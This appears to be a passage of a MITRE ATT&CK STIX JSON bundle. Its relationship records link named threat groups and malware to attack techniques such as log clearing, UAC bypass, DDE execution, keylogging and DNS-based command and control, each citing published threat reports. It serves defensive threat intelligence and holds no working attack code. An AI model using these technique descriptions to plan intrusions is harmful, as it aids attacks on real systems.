                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                }
            ],
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            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:39:29.211Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "source_ref": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5",
            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-01-24T15:43:25.413Z",
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            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) encrypts data with a substitute cipher prior to exfiltration.(Citation: CopyKittens Nov 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "source_name": "CopyKittens Nov 2015"
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            ],
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            "type": "relationship",
            "modified": "2020-03-30T02:00:38.251Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--20b90b04-4ce1-4e9a-9dbb-9fc93569d3e1",
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            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used shellcode to download Meterpreter after compromising a victim.(Citation: ESET Turla Mosquito May 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito May 2018",
                    "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-20T19:12:22.532Z",
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            "type": "relationship",
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) spear phishing campaigns have included malicious Word documents with DDE execution.(Citation: CyberScoop FIN7 Oct 2017)",
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                {
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                    "description": "Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.",
                    "source_name": "CyberScoop FIN7 Oct 2017"
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            ],
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            "type": "relationship",
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            "description": "[FinFisher](https://attack.mitre.org/software/S0182) takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
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            ],
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                {
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                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
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                },
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                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
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            "type": "relationship",
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                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/",
                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
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            ],
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                {
                    "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf",
                    "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.",
                    "source_name": "Group-IB Anunak"
                }
            ],
            "description": "(Citation: Group-IB Anunak)",
            "type": "relationship",
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            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has downloaded additional scripts and files from adversary-controlled servers.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
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                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can list out currently running processes.(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html",
                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox"
                },
                {
                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf",
                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
                    "source_name": "evolution of pirpi"
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            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.400Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--42cc506f-e9c2-43f1-a68f-3c6973cca2dc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use WMI queries to retrieve data from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: ClearSky MuddyWater Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-04-22T22:36:52.972Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses <code>tasklist /v</code> to check running processes.(Citation: Talos NavRAT May 2018)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                }
            ],
            "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-16T17:19:47.323Z",
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        {
            "id": "relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c",
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            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.269Z",
            "created": "2017-05-31T21:33:27.054Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-03-25T15:36:46.805Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DealersChoice](https://attack.mitre.org/software/S0243) leverages vulnerable versions of Flash to perform execution.(Citation: Sofacy DealersChoice)",
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            ],
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                {
                    "source_name": "Sofacy DealersChoice",
                    "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"
                }
            ],
            "source_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2020-03-17T00:53:52.889Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use a public UAC bypass method to elevate privileges.(Citation: Nccgroup Emissary Panda May 2018)",
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                    "source_name": "Nccgroup Emissary Panda May 2018"
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            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
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            "type": "relationship",
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Equation](https://attack.mitre.org/groups/G0020) is known to have the capability to overwrite the firmware on hard drives from some manufacturers.(Citation: Kaspersky Equation QA)",
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                {
                    "source_name": "Kaspersky Equation QA",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
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                {
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                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
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                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
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                }
            ],
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                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
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                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"
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                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
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            "description": "[yty](https://attack.mitre.org/software/S0248) collects the victim\u2019s username.(Citation: ASERT Donot March 2018)",
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                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloads encoded payloads and decodes them on the victim.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
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            "description": "[FinFisher](https://attack.mitre.org/software/S0182) clears the system event logs using <code> OpenEventLog/ClearEventLog APIs </code>.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
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                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
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            "description": "[FruitFly](https://attack.mitre.org/software/S0277) will delete files on the system.(Citation: objsee mac malware 2017)",
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                {
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                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
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            "description": "[APT32](https://attack.mitre.org/groups/G0050) has cleared select event log entries.(Citation: FireEye APT32 May 2017)",
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                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
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                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)",
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            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) can communicate over HTTP for C2.(Citation: FireEye APT28)(Citation: Microsoft SIR Vol 19)",
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                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
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                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
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            ],
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        {
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            "description": "[KARAE](https://attack.mitre.org/software/S0215) can upload and download files, including second-stage malware.(Citation: FireEye APT37 Feb 2018)",
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                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T21:14:12.097Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3d4a9fd6-34cb-4883-a00c-4aea3d00869e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) has the capability to delete files and scripts from the victim's machine.(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.393Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--59d4e54d-66b8-4603-b189-ba67160da44d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pisloader](https://attack.mitre.org/software/S0124) uses DNS as its C2 protocol.(Citation: Palo Alto DNS Requests)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-03-17T02:10:14.677Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f4480854-9424-49d5-8b54-f839302e3ee7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) has keylogging functionality.(Citation: Palo Alto Rover)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:46:07.796Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5bd3526a-1ae2-4b09-8be7-0eef6ae33155",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used exploits to increase their levels of rights and privileges.(Citation: Group IB Cobalt Aug 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.747Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6216dadc-095e-4550-bc01-79c79fe614ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) collects the OS version, computer name and serial number for the storage volume C:\\. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the <code>systeminfo</code> command to gather system information. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                },
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "source_name": "Unit42 Sofacy Dec 2018",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."
                },
                {
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "source_name": "ESET Zebrocy May 2019"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-12-09T21:54:33.172Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6a09f442-6a2a-455a-ad8d-6aa192995de3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) lists running processes.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-02-11T15:55:06.489Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
            "type": "relationship",
            "modified": "2020-03-20T15:22:53.960Z",
            "created": "2017-05-31T21:33:27.024Z"
        },
        {
            "id": "relationship--cb046be9-87c4-4dbd-b01f-9771aa4f2552",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.516Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--029bdc73-5054-45eb-b9d0-e4281f69d85a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                },
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target",
                    "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.",
                    "source_name": "Proofpoint Cobalt June 2017"
                },
                {
                    "url": "https://www.riskiq.com/blog/labs/cobalt-strike/",
                    "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.",
